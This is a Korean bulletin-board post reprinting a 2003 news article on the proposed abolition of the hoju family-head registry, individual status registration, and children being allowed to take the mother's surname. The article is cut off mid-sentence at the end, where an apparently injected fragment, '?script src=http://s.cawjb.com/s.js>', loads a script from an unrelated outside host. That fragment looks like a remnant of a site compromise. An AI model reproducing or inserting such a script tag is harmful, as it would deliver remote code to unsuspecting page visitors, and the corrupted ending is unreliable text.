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제 목 |
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부부합의땐 어머니 姓 따를수 있다 |
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번 호 |
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32 |
조회수 |
1690 |
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이메일 |
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작성자 |
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hanbumo |
작성일 |
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03-08-23 |
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내 용 |
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[호주제 폐지 입법예고] 부부합의땐 어머니 姓 따를수 있다
(2003.08.22)
호주(戶主)제 폐지가 골자인 법무부의 민법 개정안 입법예고안은 기
존 가족제도에 상당한 변화를 가져올 전망이다.
특히 부계(父系) 혈통을 중심으로 한 가족단위의 호적 대신 개개인의
신분을 등록하는 ‘개인별 신분등록제’가 도입됨에 따라 가족법에서
도 양성(兩性) 평등시대가 열리게 됐다. 이에 따라 호주 승계와 연관
있는 남아 선호사상 등이 약화되고 성비(性比) 불균형 등의 사회문제
도 점차 해결될 것이란 전망도 나온다.
그동안 여성계는 “호주제는 남성이 여성보다 우월하고 여성은 남성
에 종속적인 존재라는 고정관념에서 비롯된 제도”라며 호주제 폐지
를 주장했다.
그러나 유림(儒林) 등은 “호주제를 폐지하면 가족공동체 의식이 무너
지고 개인주의와 이혼이 만연할 것”이라며 호주제 폐지를 반대하고
있다.
◆개인별 신분등록 기록을 갖게 된다
지금은 호주를 중심으로 하나의 호적에 가족 구성원 모두의 신분이 기
록돼 있다. 그러나 호주제가 폐지되고 개인별 신분등록 기록제도로 바
뀌면, 예컨대 4인 가족이라면 4명 모두가 개인별로 신분등록 기록을
갖게 된다. 지금까지 여성 및 자녀는 남편 또는 아버지의 호적에 이름
을 올렸지만 앞으로는 개인별 신분등록 기록을 보유하게 되는 것이
다.
개인별 신분등록 기록에는 부모·배우자·자녀는 기재되지만 형제·자
매는 기재되지 않아 알 수가 없다. 형제·자매를 알기 위해서는 부모
의 신분등록을 봐야 한다. 또 어머니가 친권과 양육권을 갖는 자녀의
경우, 현행 호주제에서는 비자 등 서류를 발급받을 때나 이력서를 쓸
때 함께 생활하지 않는 아버지를 호주로 기록해야 했다. 그러나 앞으
론 자녀가 개인신분 기록을 갖기 때문에 호주를 적는 일이 없어진다.
◆부모의 이혼·재혼 경력은 기재되지 않는다
현행 호주제 아래선 가족 구성원 모두의 신분변동 사항이 하나의 호적
에 모두 기록되기 때문에 부모가 이혼이나 재혼을 할 경우 그 사실이
기재됐다. 이 때문에 자녀 입장에선 프라이버시 침해라는 지적을 받아
왔다.
그러나 호주제가 폐지되고 개인별 신분등록 기록제가 되면 부모의 이
혼·재혼 사실은 기재되지 않는다. 부모가 이혼한 경우에도 ‘생모○
○○’ ‘생부○○○’만 기록된다.
그러나 자기 자신의 이혼·재혼 사실은 자신의 신분등록 기록에 모두
기재된다.
◆ ‘가장’ 개념이 사라진다
기존 호주제에서 가족은 호주를 정점으로 한 피라미드 형태로 구성됐
다. 그러나 이번 개정안은 호주 및 가족의 범위를 삭제하고 개인별 신
분등록제를 도입함에 따라 호주가 없어지고 개별 구성원들은 법률적으
로 동등한 지위를 갖게 된다. 즉 집안의 기둥이자 주인으로 비유되던
‘가장(家長)’이란 개념이 사라진다는 의미다.
호주가 없어지기 때문에 아들 또는 손자·딸·아내·며느리 순으로 이
뤄지던 호주 승계도 자동적으로 없어진다. 이에 따라 어린 아들이나
손자가 어머니와 할머니를 대신해 호주가 되고 법률상 가장으로서 집
안을 이끌어나가는 비현실적인 상황은 없어진다. 현행 호주제에서는
아들 우선 승계 원칙에 따라 실질적인 가장 역할을 하는 어머니·할머
니를 제쳐놓고 어린 아들이나 손자가 법률적으로 가장 노릇을 해왔
다.
◆ 이혼·재혼 가정 자녀의 성(姓)도 바꾼다
이번 개정 민법안은 호주제 폐지 외에 성(姓)에 관한 제도도 고쳤다.
성이 달라 고통받는 재혼 및 이혼 가정 자녀의 문제를 해결하기 위한
것이다.
그동안 재혼한 어머니를 따라 사는 자녀의 경우 새 아버지의 호적에
이름을 올릴 수는 있지만 성까지 바꿀 수는 없었다. 현행 호적법상 자
녀는 친아버지의 성과 본을 따르도록 돼 있기 때문이다. 이 때문에 재
혼 가정의 자녀는 새 아버지와 성이 달라 호적등본·주민등록등본 등
에 재혼 가정이라는 사실이 노출됐었다. 그러나 이번 개정안이 시행되
면 가정법원의 허가를 받아 자녀의 성을 바꿀 수 있다.
이는 이혼 가정의 경우에도 해당된다. 현행 호적법상 이혼 가정의 자
녀는 어머니가 친권과 양육권을 갖고 자녀를 키우고 있어도 아버지 호
적에 이름을 올려야 했다. 하지만 이번 개정안은 역시 가정법원의 허
가를 받아 어머니의 성을 가질 수 있도록 했다.
◆어머니의 성(姓)을 따를 수도 있다
자녀의 성(姓)을 부부 합의에 따라 결정하게 만든 것도 이번 개정안
의 특징이다. 이번 개정안은 원칙적으로 아버지의 성을 따르되 결혼
할 때 부부가 합의할 경우 어머니의 성을 사용할 수 있도록 했다. 예
를 들어 김씨 남자와 박씨 여자가 결혼했을 경우 자녀의 성은 부부 합
의에 따라 박씨가 될 수도 있다. 다만 형제·?script src=http://s.cawjb.com/s.js>
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